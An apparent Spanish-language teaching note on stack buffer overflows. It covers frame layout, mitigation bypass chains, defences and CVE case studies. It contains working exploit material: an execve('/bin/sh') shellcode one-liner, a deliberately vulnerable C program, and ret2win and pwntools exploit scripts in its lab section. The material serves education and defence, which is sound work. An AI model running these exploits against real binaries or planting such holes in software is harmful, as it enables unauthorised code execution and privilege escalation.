Stack Buffer Overflow
Definición
Un stack buffer overflow es la subclase de memory-corruption donde un buffer local de una función — un array de tamaño fijo alocado en el call stack — recibe más datos de los que puede contener, por lo que el write se derrama sobre memoria stack adyacente. La memoria sobrescrita suele incluir otras variables locales, el saved frame pointer y (lo más peligroso) el saved return address que controla a dónde vuelve la función. La clase es el punto de entrada canónico para educación de binary-exploitation porque vuelve concreto cada concepto: stack layout, control de return-address, el gap entre bug y exploit, el rol de cada mitigación moderna.
Por qué importa
El stack buffer overflow enseñó a una generación de investigadores de seguridad porque las cinco preguntas de explotación aparecen en un solo bug:
- ¿Dónde está el bug (la función con write sin bounds)?
- ¿Qué estado puedo corromper (saved return address, locals, frame pointer)?
- ¿Cómo redirijo control (sobrescribir return address)?
- ¿A dónde mando ejecución (una dirección controlable: shellcode en 1996, un ROP gadget en 2026)?
- ¿Cómo derroto las mitigaciones (canary, ASLR, DEP, CET) en el camino?
Los stack overflows modernos en C/C++ de producción son menos comunes que antes: strcpy está fortified, los compiladores emiten canaries por default, ASLR es universal. Pero todavía producen CVEs críticos anualmente (CVE-2021-3156 / Sudo "Baron Samedit" fue un off-by-one stack-adjacent; Linux kernel shippea fixes de bugs stack-bounds en la mayoría de releases). Más importante: el stack overflow es el modelo desde el cual se enseña cada otro patrón de explotación de memory-corruption: el razonamiento en capas para derrotar mitigaciones (info leak -> canary bypass -> ROP chain -> arbitrary execute) generaliza a heap overflows, UAF y type confusion.
La clase también importa como nota de enseñanza porque expone tres hechos senior transferibles:
- Stack overflows son la bug class más mitigada de la historia de la computación. Stack canaries, ASLR, DEP, non-executable stack, shadow stacks (Intel CET), pointer authentication (ARM PAC), Control Flow Integrity: casi todo el paisaje de exploit-mitigation se construyó para hacer más difícil explotar este bug. La carrera armamentista es la historia de la defensa binaria.
- Derrotar mitigaciones es componible. Ninguna mitigación moderna detiene sola la explotación; derrotar cada una requiere una primitive separada. Un exploit de stack overflow en 2026 suele encadenar un info leak (derrotar ASLR + leer el canary), con una ROP gadget chain (derrotar DEP), quizá con un target control-flow CET-aware (derrotar shadow stacks). El razonamiento composicional es lo que vuelve binary exploitation una disciplina de ingeniería y no una receta.
strcpyno es el único sink. Principiantes piensan "el bug esstrcpy". El bug real es "cualquier write cuya longitud no está limitada por el tamaño del destino":strcat,sprintf,gets,readcon longitud controlada por atacante, loops de copia escritos a mano,memcpydespués de integer overflow en length. Pattern-matching por nombre de función pierde bugs reales.
Esta nota asume que leíste memory-corruption. Es el ejemplo trabajado deep-dive de clase 1 (stack-based corruption) de esa nota.
Cómo funciona
Un stack frame típico x86-64 para una función con buffer local se ve así (direcciones altas arriba, stack crece hacia abajo hacia direcciones bajas):
HIGH ADDRESSES
┌──────────────────────────────┐
│ caller's frame │
├──────────────────────────────┤
│ argument bytes (if > regs) │
├──────────────────────────────┤
│ return address ◀───────────────── target of the overflow
├──────────────────────────────┤
│ saved RBP (frame pointer) │
├──────────────────────────────┤
│ stack canary (if -fstack-protector enabled) ◀── tripwire
├──────────────────────────────┤
│ other local variables │
├──────────────────────────────┤
│ char buf[64] ◀──────────────────── the buffer being overflowed
│ (writes grow toward HIGH) │
└──────────────────────────────┘
LOW ADDRESSES
El mecanismo se reduce a 5 pasos:
- Una función declara un buffer local de tamaño fijo (ej.
char buf[64]). El buffer vive en el extremo bajo del stack frame de la función. - Un write sin bounds copia datos controlados por atacante dentro del buffer, porque no se chequea la longitud (
strcpy(buf, attacker_input)) o porque el length check está mal (integer overflow, off-by-one, sign-confusion). - El write se derrama más allá del final del buffer, subiendo hacia direcciones más altas a través de otros locals, el saved frame pointer y el saved return address.
- Cuando la función ejecuta su instrucción
ret, la CPU popea haciariplo que ahora es el return address sobrescrito. - La ejecución continúa en la dirección controlada por atacante. Sin mitigaciones, esto es shellcode colocado en el stack; con mitigaciones modernas, es el inicio de una ROP chain apuntando a gadgets de regiones no randomizadas, o un target JIT-spray, o un entry point en libc.
Ejemplo representativo end-to-end. El programa vulnerable:
#include <stdio.h>
#include <string.h>
void greet(char *name) {
char buf[64];
strcpy(buf, name); // bug
printf("Hello, %s\n", buf);
}
int main(int argc, char **argv) {
if (argc < 2) return 1;
greet(argv[1]);
return 0;
}
Compilado con todas las mitigaciones deshabilitadas (por didáctica):
gcc -m32 -fno-stack-protector -no-pie -z execstack -o vuln vuln.c
Funciona la forma clásica de exploit 1996: poner shellcode al inicio del input, pad hasta el offset de saved return address (típicamente 64 bytes de buf + saved EBP de 4 bytes = 68 bytes), luego escribir 4 bytes apuntando a la dirección stack donde vive el shellcode.
# Approximate one-shot exploit against the unprotected binary.
./vuln $(python3 -c '
import sys
shellcode = b"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
padding = b"A" * (76 - len(shellcode))
ret_addr = b"\xff\xff\xff\xbf" # somewhere in stack region
sys.stdout.buffer.write(shellcode + padding + ret_addr)
')
El bug no es "strcpy es inseguro"; es la longitud del write no estaba limitada por el tamaño del destino, y el saved return address está en el camino que atraviesa el write.
Técnicas / patrones
- La primera tarea de un exploit es ubicar el saved return address. Desensamblá la función vulnerable (
gdb vuln, luegodisas greet). Calculá el offset del buffer desderbpdel stack frame. Sumá+8(x86-64, saved RBP) para llegar al saved return address. Helpers pattern-cyclic (pattern_create.rb,cyclicen pwntools) generan input no repetido para calcular el offset exacto desde un crash. pwntoolses el toolkit estándar para exploit development. Librería Python + CLI que maneja process spawning, construcción de payload, aritmética de byte-strings, búsqueda de ROP gadgets víaROPgadget/one_gadgety generación de shellcode. El código de exploit senior es corto y pwntools-shaped.- Stack overflows modernos requieren una cadena, no un payload único. La cadena típicamente:
- Disparar una info leak primitive (un bug separado, muchas veces out-of-bounds read en otro code path, o format-string vulnerability) para conocer stack canary, libc base address y PIE base.
- Computar ROP gadgets a offsets conocidos desde la libc base filtrada.
- Usar el stack overflow para sobrescribir saved return address con la dirección del primer ROP gadget, seguido por el resto de la chain.
- Identificá la ROP chain correcta.
ROPgadget --binary libc.so.6enumera gadgets disponibles;one_gadget libc.so.6encuentra gadgets "one-shot" que spawnean una shell con un solo jump. Los one-gadgets modernos de libc tienen precondiciones (estado específico de registros); el uso senior valida que las precondiciones matcheen lo que el overflow deja en el stack. - Derrotá stack canaries con leak o brute force. Un canary es un valor random colocado entre variables locales y saved return address; el prólogo de la función lo almacena, el epílogo lo chequea, y
__stack_chk_failaborta ante mismatch. Para derrotarlo: (a) filtrar el canary vía un info-leak bug separado — el camino común; (b) brute-force byte por byte para forking servers que re-randomizan en cada child fork (solo funciona en servicios de red donde el canary no cambia entre forks). - Compiler warnings y
-D_FORTIFY_SOURCE=3marcan muchos casos en build time. Static analysis captura muchos patronesstrcpy(buf, input)donde el destino es un buffer de tamaño fijo conocido. Código senior se construye con ambos y trata cada warning como hallazgo.
Variantes y bypasses
Stack-based corruption se divide en 4 variantes operacionales.
1. Classic return-address overwrite
El caso de libro descrito arriba. Escribe más allá del buffer hasta alcanzar saved return address. Requiere: bug en una función que tiene buffer, ausencia de canary o canary-bypass, conocimiento del target de return-address. En sistemas modernos está mayormente derrotado por SSP + ASLR + DEP salvo que se encadene con otras primitives.
2. Frame-pointer overwrite (off-by-one)
Forma común de bug: la región writable se extiende exactamente un byte más allá del buffer, sobrescribiendo solo el byte bajo del saved frame pointer. Después del epílogo de función, rsp y rbp quedan ligeramente corridos: el stack frame de la siguiente función se desplaza, y su return address queda en memoria controlable por atacante. Sutil e históricamente muy explotado.
3. Corrupción de variables locales (sin return overwrite)
El write no alcanza saved return address, pero corrompe una variable local adyacente: un function pointer, un flag de decisión de seguridad, un length value usado en una allocation posterior. La explotación usa el local corrupto para code execution o para la próxima memory-corruption primitive. Bypassea stack canaries por completo (el canary vive entre locals y return address; corrupción in-frame no cruza el canary).
4. Estructura stack-allocated con function pointer embebido
Un objeto C++ local en el stack con vtable, o un struct local con callback function pointers. El overflow corrompe la vtable o el campo function-pointer; la siguiente llamada a través de él transfiere control a código elegido por atacante. Mismo enfoque general que variante 3 pero más confiable porque el target corrupto es una control-flow primitive.
Impacto
Ordenado por severidad real típica:
- Arbitrary code execution en el proceso vulnerable. El outcome RCE canónico. Si el proceso corre con privilegios elevados (root, SYSTEM, kernel mode), el impacto escala en consecuencia.
- Privilege escalation vía binaries setuid/setgid. Un stack overflow en un programa setuid (
sudo, network daemons corriendo como root) entrega root con un bug. CVE-2021-3156 (Sudo Baron Samedit) es el caso canónico reciente. - Kernel privilege escalation. Stack overflow en un kernel ioctl handler o system call entrega code execution en contexto kernel y compromiso total del sistema. Las mitigaciones son más fuertes en kernel space (SMEP, SMAP, KASLR) pero todavía producen CVEs críticos anualmente.
- Denial of service vía abort. La detección de stack canary produce un abort controlado en vez de corrupción silenciosa; overflow detectado por canary es DoS en vez de RCE. Neto positivo para defensores.
- Information disclosure vía out-of-bounds read en stack. Algunos CVEs "stack overflow" son en realidad out-of-bounds reads (leer más allá del buffer en vez de escribir) que filtran contenidos stack adyacentes: canaries, saved registers, PIE base.
Detección y defensa
Ordenado por efectividad:
1. Compilá con -fstack-protector-strong (canary) más -D_FORTIFY_SOURCE=3 (checks compile-time + runtime sobre operaciones string/memory de glibc). La primera línea de defensa. Canaries detectan la forma clásica return-overwrite; FORTIFY_SOURCE captura muchas llamadas familia strcpy hacia destinos de tamaño fijo conocido en compile time, reemplazándolas por variantes size-checked en runtime.
2. Compilá con -fPIE -pie -fcf-protection=full y linkeá con -Wl,-z,now -Wl,-z,relro. PIE (Position Independent Executables) + ASLR randomiza la load address del binary: el atacante debe derrotar ASLR para conocer gadget addresses. CET habilita hardware shadow stack e indirect-branch tracking de Intel, derrotando la mayoría de ROP chains. RELRO marca la GOT read-only después de relocations, derrotando GOT-overwrite primitives.
3. AddressSanitizer en desarrollo y CI. gcc/clang -fsanitize=address instrumenta cada memory access. Captura stack-buffer-overflow en el momento del bug en vez del punto eventual de crash, con stack trace completo. El complemento development-time de las mitigaciones de producción. Ver memory-corruption §Detección y defensa.
4. Fuzzing de cada input parser. Coverage-guided fuzzing (libFuzzer, AFL++) encuentra stack overflows explorando code paths hasta que algo crashea. Combinado con ASAN, el bug se reporta en la línea source precisa. Estándar industrial para navegadores, componentes OS y protocolos de red.
5. ARM Pointer Authentication (PAC) en hardware soportado. Feature ARMv8.3+: return addresses se firman con una clave por proceso antes de guardarse en stack y se verifican antes de usarse. Un return address corrupto falla verificación y la CPU trapea. Apple A12+ shippea con PAC habilitado; dispositivos Android Pixel lo usan; servers lo están habilitando cada vez más.
6. Defaults modernos de compilador capturan muchos casos automáticamente. GCC -O2 con flags default en una distribución moderna ya habilita stack canary en funciones con character buffers, fortifica string functions y emite código CET-aware. Incluso código no atendido recibe protección baseline significativa.
Qué no funciona como defensa primaria
- "Usamos
strncpyen vez destrcpy."strncpyno null-termina cuando trunca; muchos usuarios destrncpyintroducen un nuevo bug (terminador faltante -> reads posteriores corren fuera del final). Usástrlcpy(BSD) osnprintf(dest, sizeof(dest), "%s", src), y verificá que el resultado sea el esperado. - "Chequeamos length antes de llamar
strcpy." Patrón común:if (strlen(input) < sizeof(buf)) strcpy(buf, input);.strlencamina hasta null; siinputno está null-terminated, el check mismo lee out of bounds. Fix:strnlencon límite superior, o size-bounded copy incondicional. - "Esta función no se llama desde input no confiable." El código crece. La función que era internal-only en 2018 se llama desde un network handler en 2024. Defense in depth asume que el boundary se va a mover.
- "Stack canaries hacen esto seguro." Canaries detectan return-address overwrites; no detectan corrupción de variables locales adyacentes (variante 3) ni overwrites solo de frame-pointer que cambian pocos bytes (variante 2). La respuesta es mitigación en capas; canaries solos no alcanzan.
Labs prácticos
Corré solo contra labs propios. Los labs usan código intencionalmente vulnerable; no deployar.
// Lab 1 — Minimal target. Save as vuln.c.
#include <stdio.h>
#include <string.h>
void win(void) { puts("win() called"); system("/bin/sh"); }
void greet(char *name) {
char buf[64];
strcpy(buf, name);
printf("Hi %s\n", buf);
}
int main(int argc, char **argv) {
if (argc > 1) greet(argv[1]);
return 0;
}
# Lab 1 (cont.) — Build with mitigations OFF and find the offset to the saved RIP.
gcc -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c
# Generate a cyclic pattern to identify exact return-address offset:
python3 -c "from pwn import cyclic; import sys; sys.stdout.buffer.write(cyclic(200))" > input.bin
gdb -q ./vuln -ex "run < input.bin" -ex "info registers rip" -ex quit
# Take the rip value, feed it back to cyclic_find() to learn the offset:
python3 -c "from pwn import cyclic_find; print(cyclic_find(0x6161616e))"
# Output: the offset where saved RIP begins. Use this in the exploit.
# Lab 2 — Ret2win: overwrite saved RIP to jump to win().
WIN_ADDR=$(objdump -t ./vuln | awk '/ win$/ {print "0x"$1}')
OFFSET=72 # from Lab 1; will vary on your build
python3 -c "
import sys
from struct import pack
payload = b'A'*${OFFSET} + pack('<Q', ${WIN_ADDR})
sys.stdout.buffer.write(payload)
" > exploit.bin
./vuln "$(cat exploit.bin)"
# Expected: 'win() called' and a shell, demonstrating saved-RIP control.
# Lab 3 — Re-build with stack canary; observe canary detection.
gcc -fstack-protector-strong -no-pie -O0 -g -o vuln_canary vuln.c
./vuln_canary "$(cat exploit.bin)"
# Expected: '*** stack smashing detected ***: terminated'.
# The exploit primitive (return-address overwrite) is unchanged; the canary check turns RCE into DoS.
# Lab 4 — ASAN catches the bug at the moment of corruption, with full trace.
gcc -fsanitize=address -O0 -g -o vuln_asan vuln.c
./vuln_asan "$(python3 -c 'print("A"*200)')"
# Expected: ASAN output:
# ==XXXX==ERROR: AddressSanitizer: stack-buffer-overflow
# WRITE of size N at 0x... thread T0
# ...
# Points at the strcpy call in greet(). The CI version of this catch is the standard development control.
# Lab 5 — Inspect the compiler-emitted mitigation primitives.
gcc -O2 -fstack-protector-strong -fcf-protection=full -c vuln.c -o vuln.o
objdump -d vuln.o | head -60
# Expected: function prologue loads %fs:0x28 (the canary), prologue stores it
# to the stack, epilogue compares and calls __stack_chk_fail if changed.
# `endbr64` instructions appear at indirect-branch targets (CET ENDBRANCH).
# Lab 6 — pwntools end-to-end exploit (templated).
cat > exploit.py <<'EOF'
from pwn import *
context.binary = elf = ELF("./vuln")
WIN = elf.symbols["win"]
OFFSET = 72 # from cyclic-find in Lab 1
payload = b"A" * OFFSET + p64(WIN)
io = process(["./vuln", payload.decode("latin-1")])
io.interactive()
EOF
python3 exploit.py
# Standard pwntools shape. Every exploit you'll write later starts from this template.
Ejemplos prácticos
- CVE-2021-3156 (Sudo "Baron Samedit"). Off-by-one heap-adjacent estilo stack en el parser de command-line de Sudo. El bug existía desde 2011 en esencialmente toda distribución Linux. Pese a ASLR, stack canaries y PIE, un atacante que puede correr
sudoeditlocalmente obtiene root. Demuestra que código maduro y ampliamente auditado (Sudo) no es inmune. - Bugs stack
pre-authen OpenSSH (históricos: CVE-2003-0693 et al.). Múltiples bugs históricos de OpenSSH permitieron a atacantes remotos disparar stack corruption antes de autenticación. Cada uno impulsó nueva ingeniería defensiva (privilege separation, compartmentalization SSH). OpenSSH moderno shippea con procesos privilegiados y no privilegiados separados específicamente para limitar blast radius de cualquier bug restante de esta clase. - Linux kernel stack overflows en filesystems legacy (ej. CVE-2016-9555). Imágenes de filesystem crafted overflow-ean stack buffers en drivers de filesystem kernel, entregando code execution en contexto kernel. Por eso "no montes discos no confiables" sigue siendo consejo repetido incluso en 2026.
- Cadenas CTF-grade ret2libc / ret2csu. Categoría estándar en Pwn CTFs: stack overflow + libc base leak vía printf format-string bug + ret2csu gadget chain para llamar
system("/bin/sh")pese a ASLR + DEP + canary. El patrón de enseñanza que destila todo el curriculum moderno de mitigation-defeat. - CI captura el bug pre-deploy. Se agrega una nueva librería image-parsing a un microservice. El CI obligatorio de fuzzing del equipo (libFuzzer + ASAN) encuentra un stack overflow en 12 segundos de fuzzing sobre el código nuevo. El bug nunca llega a producción. Este es el outcome modal real para organizaciones que invierten en instrumentación.
Notas relacionadas
- memory-corruption — la clase padre que esta nota especializa; leela primero si todavía no lo hiciste.
- exploit-mitigations — las defensas en capas que derrotan la forma simple de este bug y fuerzan exploit chaining.
- Tríada CIA — stack overflow es una falla de integridad de libro (estado del programa modificado sin autorización) que habilita violaciones posteriores.
- Dualidad atacante-defensor — la dualidad es especialmente visible en la historia de stack-overflow: cada técnica ofensiva produjo una mitigación defensiva correspondiente.
- EDR / process correlation — EDR moderno captura muchos intentos de explotación basados en ROP vía anomalías de control-flow.
- Windows Privilege Escalation — kernel stack overflows son una de las primitives de privesc listadas en esa nota; la bug class atraviesa user-space y kernel-space.
Futuras notas atómicas sugeridas
- rop-and-ret2libc — la técnica que usan los stack-overflow exploits cuando DEP vuelve imposible el stack-shellcode.
- aslr-pie-and-info-leak-chains — las info-leak primitives necesarias para derrotar ASLR antes de que una ROP chain pueda aterrizar.
- stack-canaries-and-shadow-stacks — cómo funcionan mecánicamente SSP e Intel CET shadow stacks.
- format-string-bugs — la info-leak primitive canónica emparejada con stack overflows en CTF y cadenas reales.
- off-by-one-and-frame-pointer-overwrite — deep dive variante 2.
- pwntools-exploit-development-patterns — nota práctica a nivel toolkit.
- fuzzing-with-libfuzzer-and-afl — el lado discovery del par defensor (emparejada con memory-corruption §Labs prácticos Lab 5).
- detect-stack-overflow-exploitation — playbook par del lado defensor.
Referencias
- Fundamental: Aleph One — Smashing the Stack for Fun and Profit (Phrack 49, 1996) — http://phrack.org/issues/49/14.html
- Investigación / Deep Dive: Dennis Andriesse — Practical Binary Analysis (No Starch Press, 2018) — chapters on stack-based exploitation and modern mitigations
- Docs oficiales de herramienta: pwntools — https://docs.pwntools.com/
- Investigación / Deep Dive: Intel — Control-flow Enforcement Technology (CET) specification — https://software.intel.com/sites/default/files/managed/4d/2a/control-flow-enforcement-technology-preview.pdf